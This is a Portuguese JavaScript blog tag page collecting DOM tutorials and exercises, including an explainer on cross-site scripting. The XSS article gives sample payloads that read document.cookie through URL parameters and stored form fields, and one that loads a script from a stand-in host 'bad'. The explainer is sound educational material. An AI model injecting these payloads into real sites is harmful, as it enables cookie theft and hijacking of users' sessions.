Tag: DOM

Publicado em

Baixando múltiplas imagens com JavaScript

Olá pessoal, neste artigo, ensinarei a baixar múltiplas imagens de um site, usando um algoritmo para busca e download das imagens. Utilizarei o navegador Google Chrome neste exercício.

Vamos começar!

Primeiramente, precisamos abrir o console do nosso navegador. Podemos abrí-lo clicando f12 e acessando o console. Vamos utilizar o site https://www.mundojs.com.br/ para realizar o teste de download das imagens.

Com o site acessado e o console aberto, vamos começar criando uma variável chamada images. Esta variável receberá um querySelectorAll de todas as tags “img”.

let images = document.querySelectorAll('img');

Pronto, já temos todas as tags “img” na nossa variável images. Agora, precisamos percorrer esta lista de tags para realizarmos o download. Vamos utilizar o for…of para isso:

Caso você não conheça o laço de repetição for…of, recomendo a leitura deste artigo, com explicação em vídeo sobre o for…of.

for (let i of images){
    
}

Dentro do nosso laço for…of, precisamos criar um elemento “a”. Esse elemento receberá o atributo src da imagem.

let a = document.createElement('a');
a.href = i.src;

E iremos mostrar o elemento no console.

console.log(i);

Feito isso, criaremos uma pop-up de download. O browser fará o download de cada imagem em cada link do elemento i.

a.download = i.src;

Feito isso, adicionaremos o nosso elemento “a” ao body, utilizando o método appendChild():

document.body.appendChild(a);

E adicionaremos o evento click() ao elemento a, para, então, desanexar o elemento “a” do body, utilizando o método removeChild():

a.click();
document.body.removeChild(a);

E com isso, está pronto o nosso algoritmo para download de múltiplas imagens. O código completo é este:

let images = document.querySelectorAll('img');

for (let i of images){
    let a = document.createElement('a');
    a.href = i.src;
    console.log(i);
    a.download = i.src;
    document.body.appendChild(a);
    a.click();
    document.body.removeChild(a);
}

Abra o site do MundoJS, e insira este código no console. Aceite os múltiplos downloads no navegador e o código irá baixar as fotos disponíveis com a tag “img”.

Gostou deste artigo? Comente abaixo e compartilhe com seus amigos!

Publicado em

Conheça o Vue.js, um framework JavaScript:

Vue é um framework para construção de interfaces JavaScript. Ele é projetado para ser adotado de forma incremental. A biblioteca principal é focada na camada de visualização e é de fácil entendimento e integração com outras bilbiotecas ou projetos existentes.

Instalando:

Você pode incluir diretamente o vue em uma tag script, via cdn:

<!-- Utilize para fins de prototipagem ou aprendizado -->
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>

<!-- Utilize para produção um número de versão específico, para evitar quebras inesperadas -->
<script src="https://cdn.jsdelivr.net/npm/vue@2.6.0"></script>

Se você estiver utilizando ES Modules:

<script type="module">
  import Vue from 'https://cdn.jsdelivr.net/npm/vue@2.6.10/dist/vue.esm.browser.js'
</script>

npm:

# latest stable
$ npm install vue

bower:

# latest stable
$ bower install vue

Começando:

Renderização Declarativa:

O vue nos permite renderizar declarativamente dados para o DOM:

<div id="app">
  {{ message }}
</div>

let app = new Vue({
  el: '#app',
  data: {
    message: 'Hello Vue!'
  }
})

Com isso, já criamos o nosso primeiro aplicativo Vue! Os dados e o DOM agora estão vinculados e tudo é reativo.

<div id="app-2">
  <span v-bind:title="message">
    Hover your mouse over me for a few seconds
    to see my dynamically bound title!
  </span>
</div>
let app2 = new Vue({
  el: '#app-2',
  data: {
    message: 'Voce carregou esta pagina em ' + new Date().toLocaleString()
  }
})

Você verá a “message” pousando o mouse por cima do seu elemento renderizado no DOM.

Condicionais e Loops:

Continue lendo “Conheça o Vue.js, um framework JavaScript:”

Publicado em

Exercício fácil: DOM – Escrita

Neste exercício, iremos utilizar os conceitos de escrita no DOM para realizar a alteração de classes em elementos HTML. Será necessário conhecimento básico em leitura do DOM, HTML e CSS.

Exercício:

No arquivo HTML, temos itens com a classe azul e itens com a classe vermelho.

Faça o seguinte:

– inverta as classes (itens com azul terão a classe vermelho e vermelho terão a classe azul).

Utilize o HTML disponível a seguir para realizar o seu exercício:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <style>
        .azul{
            color: blue;
        }

        .vermelho{
            color: red;
        }
    </style>
</head>
<body>
    <ul>
        <li class="azul">Item</li>
        <li class="vermelho">Item</li>
        <li class="azul">Item</li>
        <li class="vermelho">Item</li>
        <li class="azul">Item</li>
        <li class="vermelho">Item</li>
    </ul>
</body>
</html>

Dica:

  • Use o document.querySelectorAll() para obter uma lista de elementos;
  • Você precisará percorrer os elementos utilizando um laço de repetição;
  • Utilizando uma estrutura de condicionais, verifique as classes;
  • O uso do classList será útil;
  • Realize o seu exercício em um arquivo separado scripts.js e chame-o no seu index.html.
Resolução:
let listaElementos = document.querySelectorAll("li");
        
for (let elemento of listaElementos){
    if(elemento.classList == "azul"){
        elemento.classList.remove("azul");
        elemento.classList.add("vermelho");
    }else {
        elemento.classList.remove("vermelho");
        elemento.classList.add("azul");
    }
}

Gostou deste exercício? Achou fácil ou difícil? Resolveu de outra maneira? Conte para a gente!

Publicado em

Exercício fácil: DOM – Leitura

Neste exercício, armazenaremos elementos HTML em variáveis JavaScript! Para fazer isso, você pode usar o document.getElementById(), document.querySelector(), entre outros.

Exercício:

Crie as seguintes variáveis:

– titulo : conterá a primeira tag h1;

– descricao : conterá a tag com id = descricao;

– listaItens : conterá todas as tags com classe = itens;

Utilize o seguinte HTML como base para o seu exercício:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
    <h1>Titulo</h1>
    <p>subtítulo</p>
    <br/>
    <p id="descricao">Uma lista de itens</p>
    <br/>
    <ul>
        <li>Seus itens</li>
        <ol>
            <li class="itens">Livro</li>
            <li class="itens">Caneta</li>
            <li class="itens">Telefone</li>
            <li class="itens">Carteira</li>
        </ol>
        <li>Outros Itens</li>
        <ol>
            <li>N/A</li>
        </ol>
    </ul>
</body>
</html>
Dicas importantes:
  • Use a conotação (“.elemento”) para capturar por classe;
  • Use a conotação (“#elemento”) para capturar por ID;
  • Crie suas variáveis em um arquivo scripts.js;
  • Chame o seu arquivos scripts.js no seu arquivo index.html.
Confira o seu resultado:
let titulo = document.querySelector("h1");
let descricao = document.querySelector("#descricao");
let listaItens = document.querySelectorAll(".itens");

Gostou deste exercício? Teve dificuldade? Realizou de maneira diferente? Comente abaixo!

Publicado em

Cross-Site Scripting (XSS), você sabe o que é?

O cross-site scripting (XSS) é um ataque de injeção de código que permite que um invasor execute códigos JavaScript mal-intencionados no navegador da vítima.

O atacante explora uma vulnerabilidade em algum site que a vítima visita, com o objetivo de inserir código JavaScript malicioso no navegador. Para que o ataque possa ocorrer é necessário um formulário que permita que o atacante interaja, como campos de busca, inserção de comentários, entre outros campos de preenchimento. A única maneira de o invasor inserir e executar o JavaScript no navegador da vítima é injetá-lo diretamente em uma das áginas que o usuário baixa do site. Isso acontece se o site inclui diretamente a entrada do usuário em suas páginas e o invasor pode inserir uma string que será tratada como código pelo navegador da vítima.

Existem três tipos de Cross-Site Script, são eles:

Reflected XSS:

Nesta vulnerabilidade, a exploração envolve a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. Neste ataque, um campo de busca, por exemplo, pode ser utilizado para injetar o código malicioso. O código HTML inserido é entregue pela aplicação e devolvido como parte integrante do código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador do próprio usuário.

Exemplo:

http://www.vul.site/bemvindo.html?name=ciclano

echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intencionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/bemvindo.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.

Stored XSS:

Exige que o usuário mal intencionado possua uma forma de escrever dados diretamente na página, como por exemplo campos de comentários, campos de preenchimento, entre outros. É muito perigoso, pois mantém os dados armazenados permanentemente na página, fazendo com que todos os usuários que visitem esa área específica executem o script malicioso sempre que a acessem.

Exemplo:

Caso um site permita a inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das preferências do usuário:

<script>alert(document.cookie)</script>

Nesta forma, quando for executada uma busca pelos usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados de busca.

DOM Based:

Este ataque permite a modificação de propriedades dos objetos do DOM diretamente no navegador da vítima. Não depende de nenhuma interação por parte do servidor que hospeda a página web. Utiliza-se diretamente de vulnerabilidades existentes na interpretação do código HTML no navegador.

Exemplo:

<script>
let estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora, como exemplo, um link construído de maneira a carreggar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando a vítima executar no navegador, a referência será utilizada para inserir um script mal-intencionado na página web.

Referências: https://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Gostou deste artigo? Deixe seu comentário abaixo!

Publicado em

Como converter uma String em objeto HTML (DOM)?

Recentemente tive que trabalhar com a alimentação de dados vindos do servidor que guardavam dados HTML em formato String.

Para caso em que em bastava colar a resposta na tela, basta que se use o innerHTML que já deve ser conhecido por todos

let umTexto = "<h1>Titutlo</h1><p>Texto</p><p>Texto</p>";

document.geElementById("idDoObjeto").innerHTML = umTexto;

No entanto, dificilmente algo é tão simples quanto isso e esse no meu problema isso não era uma excessão. Veja o exemplo abaixo:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
</head>
<body>
    <table>
        <tr>
            <th>Company</th>
            <th>Contact</th>
            <th>Country</th>
        </tr>
        <tr>
            <td>Alfreds Futterkiste</td>
            <td>Maria Anders</td>
            <td>Germany</td>
        </tr>
        <tr>
            <td colspan="3" style="padding:20px;background-color: burlywood;">
                <table class="subtabela">
                    <tr>
                        <td>
                            Lorem Ipsum is simply dummy text of the printing and typesetting industry.
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
        <tr>
            <td>Centro comercial Moctezuma</td>
            <td>Francisco Chang</td>
            <td>Mexico</td>
        </tr>
        <tr>
            <td colspan="3" style="padding:20px;background-color: burlywood;">
                <table class="subtabela">
                    <tr>
                        <td>
                            Lorem Ipsum is simply dummy text of the printing and typesetting industry.
                    </tr>
                </table>
            </td>
        </tr>
        <tr>
            <td>Ernst Handel</td>
            <td>Roland Mendel</td>
            <td>Austria</td>
        </tr>
        <tr>
            <td>Magazzini Alimentari Riuniti</td>
            <td>Giovanni Rovelli</td>
            <td>Italy</td>
        </tr>
        <tr>
            <td colspan="3" style="padding:20px;background-color: burlywood;">
                <table class="subtabela">
                    <tr>
                        <td>
                            Lorem Ipsum is simply dummy text of the printing and typesetting industry.
                        </td>
                    </tr>
                </table>
            </td>
        </tr>
    </table>
</body>
</html>

Acima seria o perfeito, mas na verdade vem assim e no formato String:

let stringResultado = '<!DOCTYPE html><html><head> <meta charset="UTF-8"></head><body> <table> <tr> <th>Company</th> <th>Contact</th> <th>Country</th> </tr><tr> <td>Alfreds Futterkiste</td><td>Maria Anders</td><td>Germany</td></tr><tr> <td colspan="3" style="padding:20px;background-color: burlywood;"> <table class="subtabela"> <tr> <td> Lorem Ipsum is simply dummy text of the printing and typesetting industry. </td></tr></table> </td></tr><tr> <td>Centro comercial Moctezuma</td><td>Francisco Chang</td><td>Mexico</td></tr><tr> <td colspan="3" style="padding:20px;background-color: burlywood;"> <table class="subtabela"> <tr> <td> Lorem Ipsum is simply dummy text of the printing and typesetting industry. </tr></table> </td></tr><tr> <td>Ernst Handel</td><td>Roland Mendel</td><td>Austria</td></tr><tr> <td>Magazzini Alimentari Riuniti</td><td>Giovanni Rovelli</td><td>Italy</td></tr><tr> <td colspan="3" style="padding:20px;background-color: burlywood;"> <table class="subtabela"> <tr> <td> Lorem Ipsum is simply dummy text of the printing and typesetting industry. </td></tr></table> </td></tr></table></body></html>';

De toda forma, apenas os itens dentro da table com class=“subtabela” precisavam ser listados e exibidos. Para alcançar isso, após pesquisa, descobri que o JavaScript possui uma classe muito útil chamada de DomParser.

let parser = new DOMParser();
let doc = parser.parseFromString(stringContendoHTML, "text/html");

Com isso, foi possível transformar o resultado da seguinte forma e manipular o objeto da mesma forma como se manipula o DOM. Podendo acessar elementos por Id, classe, etc…

let doc = new DOMParser().parseFromString(stringResultado, "text/html");

let subtabelas = doc.getElementsByClassName("subtabela");

for(let i = 0; i < subtabelas.length; i++){
    console.log("Tabela " + (i+1));
    console.log(subtabelas[i].innerText);
    console.log("------------------");
}

Espero que isso ajude outras pessoas. Qualquer coisa, deixe um recado aqui nos comentários.

Publicado em

Como usar JQuery UI – JavaScript

A dica de hoje usará o JQuery UI, que é uma biblioteca muito boa, ela tem muitas interações, widgets, temas, que foram construídos usando, obviamente, a biblioteca JQuery.

Essa é uma boa ferramenta para o caso de você estar querendo colocar interações como, seletor de data, drag and drop, tooltips, sliders e etc… de forma simples no seu web site.

Continue lendo “Como usar JQuery UI – JavaScript”

Publicado em

Iniciando com Chart.js

 

[download id=”404″]

Caso queira ver meu próximo artigo, acesse: Gráficos Dinâmicos com Eventos – Chart.js

Hoje em dia, criar gráficos do zero é uma missão complicada, pois além de ter que escrever todo o Javascript também precisamos pensar no design responsivo, felizmente temos bibliotecas que facilitam nossa vida e deixam o trabalho ainda mais rápido.

O Chart.js é uma biblioteca muito utilizada pela comunidade, é uma biblioteca excelente e muito fácil de usar, mesmo se você não tiver conhecimentos avançados de Javascript você vai conseguir criar gráficos bons, bonitos e responsivos.

Importando Chart.js

Para começar, precisamos escolher a forma de importação, podemos fazer isso por um CDN ou fazendo download.

Existem dois tipos de arquivos Chart.min.js e Chart.js, os arquivos com a extensão .min.js são arquivos que foram minificados, comprimidos para que o carregamento em tela seja mais rápido.

Se você deseja utilizar um CDN, basta clicar neste Link para pegar a versão mais recente do Chart.js ou simplesmente copiar a linha de código abaixo e colar no corpo do seu HTML

<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.7.1/Chart.min.js"></script>

Se você prefere fazer download dos arquivos do Chart.js basta clicar neste Link para fazer o download e fazer uma importação normal de Javascript.

<script src="SuaPasta/Chart.min.js"></script>

Gerando o primeiro gráfico

A primeira coisa que precisamos para gerar o nosso plano cartesiano é criar uma tag canvas no HTML e atribuir um id para ela:

<canvas id="primeiroGrafico"></canvas>

Indo para o arquivo Javascript, precisamos criar uma variável capturando nosso canvas e contexto:

let primeiroGrafico = document.getElementById('primeiroGrafico').getContext('2d');

O próximo passo é criar outra variável e instanciar a classe do chart.js passando por parâmetro o nosso canvas e um Objeto Javascript de preferencias deste gráfico:

let primeiroGrafico = document.getElementById('primeiroGrafico').getContext('2d');
                        
let chart = new Chart(primeiroGrafico, {});

É nesse objeto que vamos configurar nosso gráfico, em primeiro lugar vamos dizer qual é o tipo de gráfico que queremos, usando a propriedade type, atribuindo a ela o tipo que desejamos, os tipos que o chart.js disponibiliza são line (gráfico comum de linhas), bar (gráfico de barras), pie (gráfico de pizza), e muito mais, neste exemplo iremos utilizar o tipo line:

let chart = new Chart(primeiroGrafico, {
    type: 'line'             
});

Logo após iniciarmos o plano cartesiano, iremos configurar os dados do nosso gráfico usando a propriedade data:

let chart = new Chart(primeiroGrafico, {
    type: 'line',
                        
    data: {
        labels: ['2000', '2001', '2002', '2003', '2004', '2005'],
                    
        datasets: [
            {
                label: 'Crecimento Populacional',
                data: [173448346, 175885229, 178276128, 180619108, 182911487, 185150806]
            }
        ]
    }
});

A propriedade data também é um objeto, no exemplo acima configuramos duas propriedades para o objeto data, que são labels e datasets.

Na propriedade labels inserimos um array de string referente aos pontos do gráfico no eixo X

Na propriedade datasets inserimos um array de Objetos, referente aos dados apresentados no Gráfico, a propriedade label é o título do gráfico, na propriedade data inserimos um array de number referente aos pontos do Gráfico no eixo Y

Importante:

Você deve inserir um array de Strings na propriedade labels, na propriedade data você deve inserir um array de Number

Os itens do array de data serão ligados aos itens correspondentes no array de labels, é importante que os dois arrays estejam na ordem desejada, por exemplo:

labels: [‘2000’, ‘2001’, ‘2002’, ‘2003’, ‘2004’, ‘2005’]
data: [173448346, 175885229, 178276128, 180619108, 182911487, 185150806]

Nesse caso o primeiro ponto será colocado no ano 2000 (eixo X) e no número 173.448.346 (eixo Y), e assim sucessivamente


Continue lendo “Iniciando com Chart.js”

Publicado em

Módulo para criação de tags e componentes

[download id=”390″]

Introdução

Nesse artigo serão mostradas funções que podem ser utilizadas para a criação de componentes HTML. O projeto será uma versão simplificada de uma biblioteca que estou montando para agilizar o desenvolvimento e gerenciamento de objetos criados dinamicamente.

Como requisito, você precisa ter conhecimentos básicos de JavaScript e HTML5, acesso a biblioteca CSS w3.css e um navegador atualizado que aceite o básico do ES6.

  • Criando as Tags básicas

    Como você deve saber, o JavaScript oferece uma função que permite a criação de qualquer tag. Basta fornecer corretamente o nome da tag como uma string por parâmetro que a função retornará o elemento para que você possa manipulá-lo. Segue abaixo um exemplo:

    document.createElement("p");

    O código acima retorna um elemento do tipo paragrafo. Ele pode ser manipulado (adicionadas, classes, estilo, texto, etc..) da mesma maneira que os elementos da função getElementById() também podem ser manipulados. Mas ele é simples e dependendo das necessidades, você acabará tendo diversos trechos de código onde cria uma tag, adiciona classes e adiciona conteúdo. Para nos ajudar com isso, teremos as duas seguintes funções:

    function CriarElementoComClasse(nomeTag, listaDeClasses) {
    let element = document.createElement(nomeTag);
    if (listaDeClasses) {
        listaDeClasses.forEach(classe => {
            element.classList.add(classe);
        });
    }
    return element;
}

function CriarElementoComClasseTexto(nomeTag, listaDeClasses, texto) {
    let element = CriarElementoComClasse(nomeTag, listaDeClasses);
    element.innerHTML = texto;
    return element;
}

     

    A primeira função recebe uma string com o nome da tag e uma lista de strings com o nome das classes que serão adicionadas. Ela cria o elemento, confere se a lista não é nula ou indefinida e a percorre adicionando as classes uma a uma.

    A segunda função faz o mesmo que a primeira, mas também adiciona texto dentro da tag. É importante notar que esta função depende da anterior e que texto talvez seja uma definição muito ampla pois foi utilizado a propriedade innerHTML que permite que sejam adicionadas mais coisas. Por enquanto vamos com a ideia de adicionar texto, isso a torna uma boa candidata para criar <span>, <p>, <strong>, stc…

  • Criando Links e Imagens

    Como a parte simples e mais abstrata já foi feita, agora iremos implementar funções que nos auxiliaram a criar mais rapidamente tags de imagens e para links de hipertexto. Segue abaixo o código de implementação de ambas funções

    function CriarImagemCompleta(src, imgClasses, imgAlt = "imagem") {
    let element = CriarElementoComClasse("img", imgClasses);
    element.alt = imgAlt;
    element.src = src;
    return element;
}

function CriarLinkCompleto(link, linkClasses, texto) {
    let element = CriarElementoComClasseTexto("a", linkClasses, texto);
    element.href = link;
    return element;
}

    Após analisar o código você poderá notar que ambas funções reutilizam as rotinas que criamos anteriormente, sendo que apenas implementamos o código que falta para que a criação de tag de imagem e link possam ser implementadas sem precisarmos ficar repetindo o código adicional que cada uma precisa toda vez que precisarmos cria-las.

  • Anexando diversos elementos juntos

    Até agora vimos 4 funções que nos permitem criar alguns componentes que podem ser bem úteis. No entanto, se você trabalha com códigos mais extensos, coisas parecidas ou piores que o código abaixo podem aparecer

    let umaDiv = CriarElementoComClasse("div", ["classe1","classe2","classe3"]);
let umaDiv2 = CriarElementoComClasse("div",["classe1","classe2","classe3"]);
let umSpan = CriarElementoComClasseTexto("span", ["classe2","classe2","classe3"],"Lorem Ipsum"); 
let umSpan2 = CriarElementoComClasseTexto("span", ["classe2","classe2","classe3"],"Lorem Ipsum dolor"); 
let umaImagem = CriarImagemCompleta("https://mundojs.com.br/images/logo.png", ["classe1","classe2","classe3"], "Logo MundoJS"); 
let umLink = CriarLinkCompleto("https://mundojs.com.br", ["classe1","classe2","classe3"], "MundoJS"); 
let umLink2 = CriarLinkCompleto("https://mundojs.com.br/artigos/index.html", ["classe1","classe2","classe3"], "MundoJS - artigos");

umaDiv.appendChild(umSpan); 
umaDiv.appendChild(umaImagem);
umaDiv.appendChild(umLink); 
umaDiv.appendChild(umaDiv2); 

umaDiv2.appendChild(umSpan2); 
umaDiv2.appendChild(umLink2);

    E quanto mais elementos tivermos, maior será o comprimento de código repetido. Por isso, iremos criar uma função ao qual passamos o elemento onde será feito o append e uma lista dos arquivos que serão adicionados a ele.

    function AppendElementos(pai, filhos) {
    filhos.forEach(element => {
        pai.appendChild(element);
    });
}

    E isso nos permite transformar os diversos append anteriores em 2 linhas de código

    AppendElementos(umaDiv, [umSpan, umaImagem, umLink, umaDiv2]); 
AppendElementos(umaDiv2, [umSpan2, umLink2]);

  • Criação de Thumbnail

    Por padrão, um thumbnail é uma área com uma imagem no topo seguida de um titulo e/ou texto descritivo. O interessante deste tipo de componente o fato que ele pode ser facilmente incorporado em páginas responsivas devido ao seu formato. Antes de continuarmos, no seu arquivo CSS será necessário adicionar as seguintes classes:

    .mundojs-media{
    overflow: hidden;
    display: block;
    text-decoration: none;
    -webkit-box-shadow: 2px 2px 5px 0px rgba(0,0,0,0.75);
    -moz-box-shadow: 2px 2px 5px 0px rgba(0,0,0,0.75);
    box-shadow: 2px 2px 5px 0px rgba(0,0,0,0.75);
}

    Segue abaixo o código para implementarmos thumbnails utilizando nossas funções já criadas e a formatação fornecida pelo w3.css:

    function CriarThumbnail(linkArquivo, titulo, descricao, imagem) {
    let linkThumbnail = CriarLinkCompleto(linkArquivo, ["w3-third", "w3-margin-bottom", "mundojs-media"]);
    let divCard = CriarElementoComClasse("div", ["w3-card-4"]);
    linkThumbnail.appendChild(divCard);

    let imgThumbnail = CriarImagemCompleta(imagem, ["w3-image"]);

    let divConteudo = CriarElementoComClasse("div", ["w3-container", "w3-center"]);
    let h4Titulo = CriarElementoComClasseTexto("h4", null, titulo);
    let pDescricao = CriarElementoComClasseTexto("p", ["w3-small"], descricao);

    AppendElementos(divConteudo, [h4Titulo, pDescricao]);
    AppendElementos(linkThumbnail, [imgThumbnail, divConteudo]);

    return linkThumbnail;
}

    Você poderá ver pelo código que ele sempre terá 1/3 do comprimento do container dele em telas maiores e 100% em telas de smartphones. Isso pode ser adaptado simplesmente trocando as classes fornecidas no elemento linkThumbnail.

  • Criado um Media Card

    Por último criaremos o media card, uma espécie de cartão que possui uma imagem em sua lateral. Ele é um estilo bem utilizado para a criação de objetos representando notícias, lista de notícias ou posts com o gravatar.

    function CriarMedia(linkArquivo, titulo, descricao, imagem) {
    function AreaImagem() {
        let divImagem = CriarElementoComClasse("div", ["w3-quarter"]);
        divImagem.appendChild(CriarImagemCompleta(imagem, ["w3-image"]));

        return divImagem;
    }

    function AreaConteudo() {
        let divConteudo = CriarElementoComClasse("div", ["w3-threequarter", "w3-container", "w3-margin-bottom"])
        let h2Titulo = CriarElementoComClasseTexto("h2", ["w3-xlarge"], titulo);
        let pDescricao = CriarElementoComClasseTexto("p", null, descricao);
        let linkArquivo = CriarLinkCompleto(linkArquivo, ["w3-btn", "w3-theme-l4", "w3-border", "w3-border-theme", "w3-round-large"], "Saiba Mais");

        AppendElementos(divConteudo, [h2Titulo, pDescricao, linkArquivo]);

        return divConteudo;
    }

    let divMedia = CriarElementoComClasse("div", ["w3-row", "w3-margin", "w3-border-bottom", "w3-border-theme-l4", "mundojs-media"]);

    AppendElementos(divMedia, [AreaImagem(), AreaConteudo()]);

    return divMedia;
}

    Apesar de ser um pouco mais extenso que as funções anteriores, o resultado fica bem legal e pode ser utilizado facilmente para gerar uma lista de newsfeed, comentários de posts entre outras opções.

Conclusão

Como você pode ver, foi possível criar diversas ferramentas para auxiliar na montagem de itens na tela. Na minha experiência pessoal, eles não auxiliam muito se você utiliza um site estático. No entanto, caso você esteja trabalhando com dados dinâmicos ou simplesmente informações que se repetem muito, este tipo de técnica auxilia muita a reduzir o HTML e o JS comparado a criação manual sob demanda.

Publicado em

Como remover o Required de uma Tag com JavaScript

[download id=”239″]

Esta é uma forma fácil e rápida de remover o atributo required sem a necessidade de importar bibliotecas com o JQuery ou qualquer outra. Normalmente não existe motivo para remove-lo, ou em muitos casos este tipo de validação é feita no back-end, mas veremos um jeito simples e que permitirá o post de um form quando um condição ocorrer.

O código

Como mencionado anteriormente, utilizaremos um form abaixo para testarmos nosso exemplo:

<form method="post" style="border:1px solid black; padding:10px;">
  <label>Nome:</label>
  <input type="text" id="name" required/>
  <br/>
  <label>Telefone:</label>
  <input type="text" id="requiredInput" required/>
  <br/>
  <input type="submit"/>
</form>

Se você rodar o código acima e não adicionar nenhum valor no campo telefone, o form será impedido de enviar os dados pois o campo é obrigatório. Agora, após um tempo tornou-se necessário que certas pessoas não precisem enviar o telefone delas pois já são clientes, ou funcionários (mundo imaginário, você cria o motivo). Em nosso exemplo qualquer pessoa que se chamar “Pedro Silva” não precisará colocar o número de telefone. A função javascript que a acompanha pode ser bem simples quanto o código abaixo

function removeRequired() {
  if( document.getElementById("name").value === "Pedro Silva"){
    document.getElementById("requiredInput").removeAttribute("required");
  }
}

Tendo nossa condição definida, podemos começar a vincular o nosso código. Neste caso é importante lembrar que não adianta colocar o evento dentro do onsubmit do form, pois a validação ocorre antes disto. O melhor local que achei para fazê-lo é no onclick do próprio input utilizar para enviar este form.

<input onclick="removeRequired()" type="submit"/>

Conclusão

Como vocês podem ver, é fácil e rápido remover o required das tags html. O difícil é achar artigos em português que falem de como fazê-lo. Acredito que essa tarefa é tão simples que realmente não vale o peso de uma biblioteca para implementar essa funcionalidade, mas se você já a está usando para outras coisas e ela reduz ainda mais a complexidades, então ela é provavelmente o jeito mais correto do que o mencionado aqui.